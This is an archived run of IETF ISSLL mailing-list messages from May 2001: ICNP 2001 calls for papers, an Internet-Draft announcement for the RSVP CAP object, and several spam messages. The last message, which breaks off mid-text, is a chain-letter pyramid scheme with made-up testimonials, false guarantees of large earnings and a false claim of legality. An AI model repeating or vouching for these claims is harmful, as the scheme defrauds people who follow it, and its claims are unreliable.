From owner-issll@mercury.lcs.mit.edu Wed May 2 08:18:53 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA07440
for ; Wed, 2 May 2001 08:18:49 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id GAA09379
for issll-outgoing; Wed, 2 May 2001 06:15:13 -0400 (EDT)
Received: from mail.eecis.udel.edu (louie.udel.edu [128.175.2.33])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with SMTP id GAA09160
for ; Wed, 2 May 2001 06:15:04 -0400 (EDT)
Received: from calypso.cis.udel.edu by mail.eecis.udel.edu id aa16448;
2 May 2001 06:12 EDT
Date: Wed, 2 May 2001 06:12:52 -0400 (EDT)
From: Constantinos Dovrolis
To: Constantinos Dovrolis
Subject: CFP ICNP 2001
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
**** Reminder: The paper submission deadline is MAY 7 ****
--------------------------------------------------------------------------
CALL FOR PAPERS
--------------------------------------------------------------------------
9th International Conference on Network Protocols (ICNP 2001)
Mission Inn, Riverside, California
November 11-14, 2001
http://www.cis.udel.edu/icnp2001/
In just eight years, ICNP has established itself as one of the premier
conferences in the computer networking field. ICNP deals with all
aspects of communication protocols, from design and specification, to
verification, testing, performance analysis, and implementation. Protocol
functions of interest include network access, switching, routing, flow and
congestion control, multimedia transport, wireless and mobile networks,
network security, web protocols and applications, electronic commerce,
network management, interoperability, internetworking, home computing and
networks and digital broadcasting.
ICNP 2001 will be held in Riverside, California, at the Mission Inn, a place
filled with history. Riverside is located in the Sunny Southern California,
60 miles from Los Angeles, 45 miles from Palm Springs and 40 miles from
Disney Land. The city is served by three nearby airports: Los Angeles,
Ontario (California) and Orange County Airport.
Topics of interest include, but are not limited to:
- network access
- switching
- routing
- flow and congestion control
- multimedia transport protocols
- wireless and mobile networks
- network security
- web protocols and applications
- electronic commerce
- network management
- interoperability, internetworking
- home computing and networking
- digital broadcasting
- QoS and service differentiation
- network measurements
- protocols for distributed games
- peer-to-peer communication protocols
Important Dates:
Paper Submission Deadline: May 7, 2001
Tutorial Submission Deadline: May 7, 2001
Notification of Acceptance: July 13, 2001
Camera Ready Due: August 8, 2001
Tutorials: November 11, 2001
Conference: November 12 - 14, 2001
Information for authors:
Papers must be written in English, and they have to be in Postscript,
PDF, or Word format. The complete manuscript should be no more than
12 pages of double-spaced text with 11pt fonts.
If you have any questions, you can contact us at icnp@ics.uci.edu.
To register and submit your paper, visit the URL:
http://violin.ics.uci.edu/~icnp/ConfMan/REG-paper/
General Chair
Satish K. Tripathi, University of California - Riverside
Technical Program Co-Chairs
Magda El Zarki, University of California, Irvine
Klara Narhstedt, University of Illinois, Urbana-Champaign
Tutorial Co-Chairs
Pravin Bhagwat, ReefEdge, Inc
Ed Knightly, Rice University
Local Arrangement and Registration Co-Chairs
Michalis Faloutsos, University of California - Riverside
Srikant Krishnamurthy, University of California - Riverside
Publicity Co-Chairs
Constantinos Dovrolis, University of Delaware
Samar Singh, La Trobe University, Australia
Technical Program Committee
Alex Petrenko (CRIM, Computer Research Institute of Montreal)
Ana Rosa CAVALLI (Institut National des Telecommunications, France)
Mart, Molle (University of California, Riverside)
Andrew T. Campbell (Columbia University)
Bobby Bhattacharjee (University of Maryland)
Christophe Diot (Sprint)
Cormac J. Sreenan (University College, Cork, Ireland)
David Hutchison (Lancaster University)
David Su (National Institute of Standards and Technology)
David, Yau (Computer Science, Purdue University)
Edward Knightly (Rice University )
Ellen L. Hahne (AT&T Labs - Research)
Geert Heijenk (Ericsson)
Gene Tsudik (UC, Irvine)
Geoffrey Xie (Naval Postgraduate School)
Ernst W. Biersack (Institut EURECOM)
Gunnar Karlsson (KTH Dpt. of Microelectronics and Info.Technology, Sweden)
Hartmut Koenig (BTU Cottbus, Germany
Hasan Ural (University of Ottawa, Canada)
Ibrahim Matta (Boston University)
Jennifer Hou (Ohio State University)
Jorg Lieberherr (University of Virginia)
Jorge Cobb (The University of Texas at Dallas)
Ken Calvert (University of Kentucky)
Kevin Almeroth (UC-Santa Barbara)
Kirshna Sivalingam (Washington State University / Jasmine Networks)
Lars Wolf (University of Karlsruhe, Germany)
Lixia Zhang (UCLA)
Ljiljana Trajkovic (Simon Fraser University)
Luigi RIZZO (Dip. Ingegneria dell'Informazione, Univ. di Pisa (ITALY))
Marco Schneider (SBC Technology Resources Inc.)
Martha Steenstrup (Stow Research L.L.C.)
Martina Zittterbart (University of Karlsruhe, Germany)
Masayuki Murata (Osaka University, Japan)
Melody Moh (Dept. of Math. and Computer Science, San Jose State Univ.)
Mohamed G. Gouda (University of Texas at Austin)
Nalini Venkatasubramanian (University of California, Irvine)
Chris Edmondson-Yurkanan (University of Texas)
Ness B. Shroff (Purdue University)
Nina Bhatti (Nokia)
Robin Kravets (University of Illinois at Urbana-Champaign)
Shigang Chen (Cisco Systems)
Songwu Lu (UCLA)
Stanislaw Budkowski (Institut National des Telecommunications (INT), France)
Terry Todd (McMaster University, Canada)
Teruo Higashino (Osaka University, Japan)
Timothy Roscoe (Sprint Advanced Technology Labs)
William Tezlaff (IBM T. J. Watson Research Center)
Yoshiaki Kakuda (Hiroshima City University, Japan)
Yow-Jian Lin (Bell Labs Research, Lucent Technologies)
Yuval Shavitt (Bell Labs and Tel-Aviv University , Israel)
Sonia Fahmy (Ohio State University)
ICNP Steering Committee
Mostafa Ammar, Georgia Insitute of Technology
Mohamed Gouda, University of Texas at Austin
Simon Lam, University of Texas at Austin
David Lee, Bell Labs
Ming T. (Mike) Liu, Ohio State University
Raymond Miller, University of Maryland, College Park
Krishan Sabnani, Bell Labs
From owner-issll@mercury.lcs.mit.edu Wed May 2 09:04:18 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA09063
for ; Wed, 2 May 2001 09:04:10 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id HAA09623
for issll-outgoing; Wed, 2 May 2001 07:37:19 -0400 (EDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id HAA10123
for ; Wed, 2 May 2001 07:37:12 -0400 (EDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA06142;
Wed, 2 May 2001 07:37:13 -0400 (EDT)
Message-Id: <200105021137.HAA06142@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: issll@mercury.lcs.mit.edu
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-issll-rsvp-cap-03.txt
Date: Wed, 02 May 2001 07:37:13 -0400
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
--NextPart
A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Integrated Services over Specific Link Layers Working Group of the IETF.
Title : Capability Negotiation: The RSVP CAP Object
Author(s) : S. Hamid
Filename : draft-ietf-issll-rsvp-cap-03.txt
Pages : 5
Date : 01-May-01
The resource reservation protocol [RSVP] is an end-to-end signaling
protocol and it can be a useful mechanism to carry the upstream node
or network capabilities/willingness to the downstream network/nodes.
This draft proposes a capability negotiation object, CAP object, in
the RSVP PATH message that can be used to convey end host/upstream
node capabilities to the downstream network/nodes.
A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-issll-rsvp-cap-03.txt
Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
"get draft-ietf-issll-rsvp-cap-03.txt".
A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt
Internet-Drafts can also be obtained by e-mail.
Send a message to:
mailserv@ietf.org.
In the body type:
"FILE /internet-drafts/draft-ietf-issll-rsvp-cap-03.txt".
NOTE: The mail server at ietf.org can return the document in
MIME-encoded form by using the "mpack" utility. To use this
feature, insert the command "ENCODING mime" before the "FILE"
command. To decode the response(s), you will need "munpack" or
a MIME-compliant mail reader. Different MIME-compliant mail readers
exhibit different behavior, especially when dealing with
"multipart" MIME messages (i.e. documents which have been split
up into multiple messages), so check your local documentation on
how to manipulate these messages.
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.
--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"
--OtherAccess
Content-Type: Message/External-body;
access-type="mail-server";
server="mailserv@ietf.org"
Content-Type: text/plain
Content-ID: <20010501140651.I-D@ietf.org>
ENCODING mime
FILE /internet-drafts/draft-ietf-issll-rsvp-cap-03.txt
--OtherAccess
Content-Type: Message/External-body;
name="draft-ietf-issll-rsvp-cap-03.txt";
site="ftp.ietf.org";
access-type="anon-ftp";
directory="internet-drafts"
Content-Type: text/plain
Content-ID: <20010501140651.I-D@ietf.org>
--OtherAccess--
--NextPart--
From owner-issll@mercury.lcs.mit.edu Wed May 2 14:39:51 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA19649
for ; Wed, 2 May 2001 14:39:49 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id MAA11828
for issll-outgoing; Wed, 2 May 2001 12:28:09 -0400 (EDT)
Received: from zcars0m9.nortelnetworks.com (h157s242a129n47.user.nortelnetworks.com [47.129.242.157])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with SMTP id MAA10370;
Wed, 2 May 2001 12:27:57 -0400 (EDT)
Received: from zcars04f.ca.nortel.com by zcars0m9.nortelnetworks.com (SMI-8.6/SMI-SVR4)
id MAA06661; Wed, 2 May 2001 12:27:26 -0400
Received: from zcard015.ca.nortel.com by zcars04f.ca.nortel.com;
Wed, 2 May 2001 12:27:18 -0400
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2653.19)
id ; Wed, 2 May 2001 12:27:21 -0400
Message-ID: <9FBD322B7824D511B36900508BF93C9C1CD048@zcard031.ca.nortel.com>
From: "Hamid Syed"
To: issll@mercury.lcs.mit.edu
Cc: jtw@mercury.lcs.mit.edu
Subject: new version of CAP object draft is available
Date: Wed, 2 May 2001 12:27:18 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
boundary="----_=_NextPart_001_01C0D324.C1936680"
X-Orig:
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.
------_=_NextPart_001_01C0D324.C1936680
Content-Type: text/plain
Hi,
A new version of the RSVP Capability negotiation object draft is now
available at:
http://www.ietf.org/internet-drafts/draft-ietf-issll-rsvp-cap-03.txt
This version addresses the comments/decisions captured during the IETF50
ISSLL WG session (see the minutes of the meeting released by the WG chair
for reference).
regards
Hamid Syed
------_=_NextPart_001_01C0D324.C1936680
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
new version of CAP object draft is available
This version =
addresses the comments/decisions captured during the IETF50 ISSLL WG =
session (see the minutes of the meeting released by the WG chair for =
reference).
regards
Hamid Syed
------_=_NextPart_001_01C0D324.C1936680--
From owner-issll@mercury.lcs.mit.edu Fri May 4 04:06:22 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA06764
for ; Fri, 4 May 2001 04:06:20 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id XAA23220
for issll-outgoing; Thu, 3 May 2001 23:08:52 -0400 (EDT)
Received: from 213-99-245-150.uc.nombres.ttd.es (213-99-245-150.uc.nombres.ttd.es [213.99.245.150])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with SMTP id XAA23639
for ; Thu, 3 May 2001 23:08:32 -0400 (EDT)
Date: Thu, 3 May 2001 23:08:32 -0400 (EDT)
From: storage@lycos.es
Message-Id: <200105040308.XAA23639@mercury.lcs.mit.edu>
Reply-To: storage@lycos.es
To: issll@mercury.lcs.mit.edu
Subject: REGISTRE EL SUYO
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
Si tiene una empresa en marcha, un proyecto o una idea registre su dominio en Internet AHORA,
tal vez mañana sea demasiado tarde. Proteja su nombre en Internet. Si tiene ya dominio y ha de renovarlo proximamente transfiera el dominio por solo 20$ lo tendra un año renovado (esta operacion no afecta al hospedaje, solo al registrador del dominio)
Si conoce a alguien en esta situacion y no sabe que regalarle regalele un dominio, es original y quedara bien.
Vea toda la informacion referente al registro de dominios en http://ir-a.net/brand/
REGALE UN DOMINIO O REGISTRE EL SUYO
Otros servicios: hospedaje, redireccion de dominio, ...etc
¿HAS DE RENOVAR EL REGISTRO DE TU DOMINIO? PRECIO ESPECIAL POR TRANSFERENCIA DE DOMINIO (20$ AÑO)
PRECIO DE HOSTING IMBATIBLE
-----------------------REMOVE------------------------------
SI NO QUIERE RECIBIR MAS MENSAJES DESDE ESTA DIRECCION VAYA AL LINK
INDICADO
Y SERA DADO DE BAJA INMEDIATAMENTE. DICHO LINK ES UN SERVICIO
INDEPENDIENTE DEL ENVIO DE ESTE EMAIL
----------------------------------------------------------------------
dar de baja de la lista de distribucion - remove distribution list
http://borrame.anexos.com
RemovingNet. Cuentas gratuitas para el control de bajas.
Free accounts for the control of "unsubscribes"
RemovingNet nada tiene que ver con este email ni con su
contenido
RemovingNet nothing has to do with this email nor with contained his
----------------------------------------------------------------
IF YOU DON'T WANT TO RECEIVE MORE MESSAGES FROM US, PLEASE CLICK ON THE LINK
BELOW. http://borrame.anexos.com
YOUR EMAIL ADDRESS WILL BE REMOVED FROM OUR DATA BASE IMMEDIATELY.
REMOVING.NET IS AN INDEPENDENT SERVICE
-----------------------REMOVE------------------------------
From owner-issll@mercury.lcs.mit.edu Fri May 4 05:02:26 2001
Received: from mercury.lcs.mit.edu (mercury.lcs.mit.edu [18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA07189
for ; Fri, 4 May 2001 05:02:26 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id DAA23060
for issll-outgoing; Fri, 4 May 2001 03:11:59 -0400 (EDT)
Received: from giasmd01.vsnl.net.in (giasmd01.vsnl.net.in [202.54.6.1])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id DAA24552
for ; Fri, 4 May 2001 03:11:47 -0400 (EDT)
From: skillometer_beta@vsnl.net
Received: from dev_wks_17 (unknown [203.197.135.112])
by giasmd01.vsnl.net.in (Postfix) with SMTP
id CDE47A3AC; Fri, 4 May 2001 12:41:26 +0530 (IST)
To: Skillometer_beta@giasmd01.vsnl.net.in
Subject: ADV: How good are your IT skills?
X-Mailer: AMLC 2.7
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_0226_01C0D3EB.52E09880"
X-Priority: 3
X-MSMail-Priority: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Message-Id: <20010504071126.CDE47A3AC@giasmd01.vsnl.net.in>
Date: Fri, 4 May 2001 12:41:26 +0530 (IST)
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
This is a multi-part message in MIME format.
------=_NextPart_000_0226_01C0D3EB.52E09880
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Take the Skillometer Skills Challenge! Win $100 and a Free Palm VIIx =
handheld!
Get the recognition you deserve. As an accomplished IT professional, we =
invite you to take the Skillometer Skills Challenge. Skillometer =
provides web-based skills testing for current and leading-edge =
Information Technologies. Our tests measure the proficiency of the IT =
professional in a respective technology. If you're good enough, we'll =
feature you on our website. Choose your test, beat the high score, and =
we'll put your name and picture on our homepage. =20
Win a Free Palm VIIx handheld! Go to www.skillometer.com/indexbeta.asp. =
Fill out the form, choose the technologies in which you want to be =
tested, and you'll immediately receive an email with a hyperlink to your =
test(s). For each correct answer, you'll receive an entry into our Palm =
VIIx Handheld giveaway. Detailed contest rules are located at our =
website.=20
Think you're good? Show everyone. Take the Skillometer Skills =
Challenge!
=20
-------------------------------------------------------------------------=
-------
We respect your time. If you would like to be removed from our mailing =
list, click on mailto:skillometer_beta@vsnl.net?subject=3DREMOVE and add =
the email address(es) to remove in your subject line.
This message is designed to comply with all U.S. state laws and pending =
federal legislation regarding electronic mail marketing. You can avoid =
seeing compliant messages by setting your mail reader to filter messages =
with "ADV:" at the beginning of the Subject line. Submit questions or =
comments regarding these matters by clicking on =
mailto:SalesSupport@skillometer.com?subject=3DCOMPLIANCE.
Skillometer, LLC
Manor Oak One, Suite 170
1910 Cochran Road
Pittsburgh, PA 15220
(010503)
------=_NextPart_000_0226_01C0D3EB.52E09880
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Take the =
Skillometer Skills=20
Challenge! Win $100 and a Free Palm VIIx =
handheld!
Get the =
recognition=20
you deserve. As an accomplished IT professional, we =
invite you to=20
take the Skillometer Skills Challenge. Skillometer =
provides web-based skills testing for current and leading-edge =
Information=20
Technologies. Our tests measure the proficiency of the IT =
professional in=20
a respective technology. If you're good enough, we'll feature you =
on our=20
website. Choose your test, beat the high score, and we'll put your =
name=20
and picture on our homepage.
Win a Free Palm VIIx =
handheld! Go=20
to www.skillometer.com/indexbeta.asp. Fill out the form, choose the technologies in which =
you want=20
to be tested, and you'll immediately receive an email with a =
hyperlink to=20
your test(s). For each correct answer, you'll =
receive an=20
entry into our Palm VIIx Handheld giveaway. Detailed contest rules =
are=20
located at our website.
Think you're good? Show =
everyone. =20
Take the Skillometer Skills Challenge!
=20
We respect =
your time. If you=20
would like to be removed from our mailing list, click on mailto:skillom=
eter_beta@vsnl.net?subject=3DREMOVE=20
and add the email address(es) to remove in your subject =
line.
This message =
is designed to=20
comply with all U.S. state laws and pending federal legislation =
regarding=20
electronic mail marketing. You can avoid seeing compliant messages by =
setting=20
your mail reader to filter messages with "ADV:" at the beginning of the =
Subject=20
line. Submit questions or comments regarding these matters by clicking =
on mailto:=
SalesSupport@skillometer.com?subject=3DCOMPLIANCE.
Skillometer,=20
LLC
Manor Oak One,=20
Suite 170
1910 Cochran=20
Road
Pittsburgh,=20
PA 15220
(010503)
------=_NextPart_000_0226_01C0D3EB.52E09880--
From owner-issll@mercury.lcs.mit.edu Tue May 8 20:15:09 2001
Received: from mercury.lcs.mit.edu ([18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA10227
for ; Tue, 8 May 2001 20:15:08 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id QAA23617
for issll-outgoing; Tue, 8 May 2001 16:50:34 -0400 (EDT)
Received: from mail.eecis.udel.edu (louie.udel.edu [128.175.2.33])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with SMTP id QAA23274
for ; Tue, 8 May 2001 16:50:32 -0400 (EDT)
Received: from calypso.cis.udel.edu by mail.eecis.udel.edu id aa06531;
8 May 2001 16:48 EDT
Date: Tue, 8 May 2001 16:47:08 -0400 (EDT)
From: Constantinos Dovrolis
To: Constantinos Dovrolis
Subject: ICNP 2001 - Deadline extension
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
*** Note: The paper submission deadline has been extended to
May 14, 5pm (your local time).
There will be no further extensions after May 14.
--------------------------------------------------------------------------
CALL FOR PAPERS
--------------------------------------------------------------------------
9th International Conference on Network Protocols (ICNP 2001)
Mission Inn, Riverside, California
November 11-14, 2001
http://www.cis.udel.edu/icnp2001/
In just eight years, ICNP has established itself as one of the premier
conferences in the computer networking field. ICNP deals with all
aspects of communication protocols, from design and specification, to
verification, testing, performance analysis, and implementation. Protocol
functions of interest include network access, switching, routing, flow and
congestion control, multimedia transport, wireless and mobile networks,
network security, web protocols and applications, electronic commerce,
network management, interoperability, internetworking, home computing and
networks and digital broadcasting.
ICNP 2001 will be held in Riverside, California, at the Mission Inn, a place
filled with history. Riverside is located in the Sunny Southern California,
60 miles from Los Angeles, 45 miles from Palm Springs and 40 miles from
Disney Land. The city is served by three nearby airports: Los Angeles,
Ontario (California) and Orange County Airport.
Topics of interest include, but are not limited to:
- network access
- switching
- routing
- flow and congestion control
- multimedia transport protocols
- wireless and mobile networks
- network security
- web protocols and applications
- electronic commerce
- network management
- interoperability, internetworking
- home computing and networking
- digital broadcasting
- QoS and service differentiation
- network measurements
- protocols for distributed games
- peer-to-peer communication protocols
Important Dates:
Paper Submission Deadline: May 14, 2001 (NEW DEADLINE)
Tutorial Submission Deadline: May 7, 2001
Notification of Acceptance: July 13, 2001
Camera Ready Due: August 8, 2001
Tutorials: November 11, 2001
Conference: November 12 - 14, 2001
Information for authors:
Papers must be written in English, and they have to be in Postscript,
PDF, or Word format. The complete manuscript should be no more than
12 pages of double-spaced text with 11pt fonts.
If you have any questions, you can contact us at icnp@ics.uci.edu.
To register and submit your paper, visit the URL:
http://violin.ics.uci.edu/~icnp/ConfMan/REG-paper/
General Chair
Satish K. Tripathi, University of California - Riverside
Technical Program Co-Chairs
Magda El Zarki, University of California, Irvine
Klara Narhstedt, University of Illinois, Urbana-Champaign
Tutorial Co-Chairs
Pravin Bhagwat, ReefEdge, Inc
Ed Knightly, Rice University
Local Arrangement and Registration Co-Chairs
Michalis Faloutsos, University of California - Riverside
Srikant Krishnamurthy, University of California - Riverside
Publicity Co-Chairs
Constantinos Dovrolis, University of Delaware
Samar Singh, La Trobe University, Australia
Technical Program Committee
Alex Petrenko (CRIM, Computer Research Institute of Montreal)
Ana Rosa CAVALLI (Institut National des Telecommunications, France)
Mart, Molle (University of California, Riverside)
Andrew T. Campbell (Columbia University)
Bobby Bhattacharjee (University of Maryland)
Christophe Diot (Sprint)
Cormac J. Sreenan (University College, Cork, Ireland)
David Hutchison (Lancaster University)
David Su (National Institute of Standards and Technology)
David, Yau (Computer Science, Purdue University)
Edward Knightly (Rice University )
Ellen L. Hahne (AT&T Labs - Research)
Geert Heijenk (Ericsson)
Gene Tsudik (UC, Irvine)
Geoffrey Xie (Naval Postgraduate School)
Ernst W. Biersack (Institut EURECOM)
Gunnar Karlsson (KTH Dpt. of Microelectronics and Info.Technology, Sweden)
Hartmut Koenig (BTU Cottbus, Germany
Hasan Ural (University of Ottawa, Canada)
Ibrahim Matta (Boston University)
Jennifer Hou (Ohio State University)
Jorg Lieberherr (University of Virginia)
Jorge Cobb (The University of Texas at Dallas)
Ken Calvert (University of Kentucky)
Kevin Almeroth (UC-Santa Barbara)
Kirshna Sivalingam (Washington State University / Jasmine Networks)
Lars Wolf (University of Karlsruhe, Germany)
Lixia Zhang (UCLA)
Ljiljana Trajkovic (Simon Fraser University)
Luigi RIZZO (Dip. Ingegneria dell'Informazione, Univ. di Pisa (ITALY))
Marco Schneider (SBC Technology Resources Inc.)
Martha Steenstrup (Stow Research L.L.C.)
Martina Zittterbart (University of Karlsruhe, Germany)
Masayuki Murata (Osaka University, Japan)
Melody Moh (Dept. of Math. and Computer Science, San Jose State Univ.)
Mohamed G. Gouda (University of Texas at Austin)
Nalini Venkatasubramanian (University of California, Irvine)
Chris Edmondson-Yurkanan (University of Texas)
Ness B. Shroff (Purdue University)
Nina Bhatti (Nokia)
Robin Kravets (University of Illinois at Urbana-Champaign)
Shigang Chen (Cisco Systems)
Songwu Lu (UCLA)
Stanislaw Budkowski (Institut National des Telecommunications (INT), France)
Terry Todd (McMaster University, Canada)
Teruo Higashino (Osaka University, Japan)
Timothy Roscoe (Sprint Advanced Technology Labs)
William Tezlaff (IBM T. J. Watson Research Center)
Yoshiaki Kakuda (Hiroshima City University, Japan)
Yow-Jian Lin (Bell Labs Research, Lucent Technologies)
Yuval Shavitt (Bell Labs and Tel-Aviv University , Israel)
Sonia Fahmy (Purdue University)
ICNP Steering Committee
Mostafa Ammar, Georgia Insitute of Technology
Mohamed Gouda, University of Texas at Austin
Simon Lam, University of Texas at Austin
David Lee, Bell Labs
Ming T. (Mike) Liu, Ohio State University
Raymond Miller, University of Maryland, College Park
Krishan Sabnani, Bell Labs
From owner-issll@mercury.lcs.mit.edu Wed May 9 19:05:54 2001
Received: from mercury.lcs.mit.edu ([18.26.0.122])
by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA28698
for ; Wed, 9 May 2001 19:05:46 -0400 (EDT)
Received: (from daemon@localhost)
by mercury.lcs.mit.edu (8.9.1/8.9.1) id SAA00717
for issll-outgoing; Wed, 9 May 2001 18:05:20 -0400 (EDT)
Received: from pavilion (a24b31n80client230.hawaii.rr.com [24.31.80.230])
by mercury.lcs.mit.edu (8.9.1/8.9.1) with ESMTP id SAA00707
for ; Wed, 9 May 2001 18:05:12 -0400 (EDT)
Message-ID: <179662001539215711700@pavilion>
X-EM-Version: 5, 0, 0, 19
X-EM-Registration: #01B0530810E603002D00
X-Priority: 3
X-MSMail-Priority: Normal
From: "Mitchell"
To: issll@mercury.lcs.mit.edu
Subject: Business/Employment Opportunity
Date: Wed, 9 May 2001 11:57:11 -1000
MIME-Version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by mercury.lcs.mit.edu id SAA00755
Sender: owner-issll@mercury.lcs.mit.edu
Precedence: bulk
Content-Transfer-Encoding: 8bit
Dear Friend:
"Making over half million dollars every 4 to 5 months from your
home for an investment of only $25 U.S. Dollars expense one
time"
THANKS TO THE COMPUTER AGE AND THE INTERNET!
===============================================
BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR !!
Before you say "Bull" , please read the following. This is the
letter you have been hearing about on the news lately. Due to the
popularity of this letter on the internet, a national weekly news
program recently devoted an entire show to the investigation of
this program described below , to see if it really can make people
money.
The show also investigated whether or not the program was legal.
Their findings proved once and for all that there are "absolutely
no laws prohibiting the participation in the program and if people
can follow the simple instructions, they are bound to make
some mega bucks with only $25 out of pocket cost".
DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT
THIS PROGRAM HAS ATTAINED, IT IS CURRENTLY WORKING
BETTER THAN EVER.
This is what one had to say:
"Thanks to this profitable opportunity. I was approached
many times before but each time I passed on it. I am so glad
I finally joined just to see what one could expect in return
for the minimal effort and money required. To my astonishment, I
received total $ 610,470.00 in 21 weeks, with money still
coming in".
Pam Hedland, Fort Lee, New Jersey.
-------------------------------------------------------------------------
Here is another testimonial:
"This program has been around for a long time but I never
believed in it. But one day when I received this again in
the mail I decided to gamble my $25 on it. I followed thesimple instructions and walaa ..... 3 weeks later the money
started to come in. First month I only made $240.00 but
the next 2 months after that I made a total of $290,000.00.
So far, in the past 8 months by re-entering the program,I
have made over $710,000.00 and I am playing it again.
The key to success in this program is to follow the simple
steps and NOT change anything ."
More testimonials later but first,
****** PRINT THIS NOW FOR YOUR FUTURE REFERENCE *******
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
If you would like to make at least $500,000 every 4 to 5 months
easily and comfortably, please read the following...THEN READ
IT AGAIN and AGAIN !!!
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR
FINANCIAL DREAMS WILL COME TRUE, GUARANTEED!
INSTRUCTIONS:
**** Order all 5 reports shown on the list below.
**** For each report, send $5 CASH, THE NAME & NUMBER OF THE
REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS
to the person whose name appears ON THAT LIST next to the report.
MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE
TOP LEFT CORNER in case of any mail problems.
**** When you place your order, make sure you order each of the 5
reports. You will need all 5 reports so that you can save them on your
computer and resell them. YOUR TOTAL COST $5 X 5 = $25.00.
**** Within a few days you will receive, via e-mail, each of the 5
reports from these 5 different individuals. Save them on your computer
so they will be accessible for you to send to the 1,000's of people
who will order them from you. Also make a floppy of these
reports and keep it on your desk in case something happen to your
computer.
****.IMPORTANT - DO NOT alter the names of the people who are
listed next to each report, or their sequence on the list, in
any way other than what is instructed below in steps 1 through6 or you will loose out on majority of your profits. Once you
understand the way this works, you will also see how it does not work if you
change it.
Remember, this method has been tested, and if you alter, it
will NOT work!!! People have tried to put their friends/relatives names
on all five thinking they could get all the money. But it does not work this
way. Believe us, we all have tried to be greedy and then nothing happened.
So Do Not try to change anything other than what is instructed. Because if
you do, it will not work for you. Remember, honesty reaps the reward!!!
1.. After you have ordered all 5 reports, take this advertisement
and REMOVE the name & address of the person in REPORT # 5. This
person has made it through the cycle and is no doubt counting
their fortune.
2.... Move the name & address in REPORT # 4 down TO REPORT # 5.
3.... Move the name & address in REPORT # 3 down TO REPORT # 4.
4.... Move the name & address in REPORT # 2 down TO REPORT # 3.
5.... Move the name & address in REPORT # 1 down TO REPORT # 2
6.... Insert YOUR name & address in the REPORT # 1 Position.
PLEASE MAKE SURE you copy every name & address ACCURATELY !
=========================================================
Take this entire letter, with the modified list of names, and save
it on your computer. DO NOT MAKE ANY OTHER CHANGES.
Save this on a disk as well just in case if you loose any data.
To assist you with marketing your business on the internet, the
5 reports you purchase will provide you with invaluable
marketing information which includes how to send bulk e-mails legally,
